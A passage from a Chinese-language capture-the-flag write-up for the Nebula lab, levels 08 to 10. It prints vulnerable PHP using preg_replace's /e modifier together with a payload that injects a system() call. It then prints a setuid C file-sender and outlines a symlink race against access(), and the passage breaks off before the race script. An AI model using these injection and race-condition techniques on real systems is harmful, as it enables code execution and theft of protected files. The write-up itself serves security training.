我们用这个password登陆flag08账号,顺利通关。
level09——攻击php代码我们在这一关卡需要攻击一个有漏洞的php代码。
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>这段代码中的正则表达式会将[email xxx@xxx.xxx]中的“.”替换成“dot”,将“@”替换成“AT”,也就是变成xxx AT xxx dot xxx
我们注意到这一句代码:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);preg_replace第一参数使用了/e模式,preg_replace的第二个参数会作为代码执行。
我们将用php中的system函数执行外部的shell命令
将下面的内容写到文件/tmp/wyf中去
[email "{${system(getflag)}}"]接着执行flag09程序以后,getflag程序也被调用,我们成功通关
level10——竞态条件漏洞在本关卡的/home/flag10目录下有两个文件:flag10和token。
官网提示,这里是一个文件访问的竞态条件漏洞,去获取token的内容。
我们先看看完整的源代码:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don\'t have access to %s\n", file); } }注意access函数,当前用户访问某个文件时,返回值为0,才会有后面这一大段代码。
if(access(argv[1], R_OK) == 0) { .... } else { printf("You don\'t have access to %s\n", file); }如果没有访问权限,就会输出"You don\'t have access to <文件名>"
这段代码会建立一个socket通讯,并在18211端口上进行监听,然后打开指定的文件并把内容发送到通讯连接中。
我们的思路是这样的:
在本地用netcat监听端口
让flag10去access一个当前用户有权限访问的文件/tmp/fake_token
删掉刚才的/tmp/fake_token,再建立一个指向/home/flag10/token的软链接
我们先完成第一步,netcat监听
然后再另一个终端tty2下建立文件/tmp/fake_token
我们再写一个不断建立软链接的bash脚本
执行这个脚本,编写下面的脚本。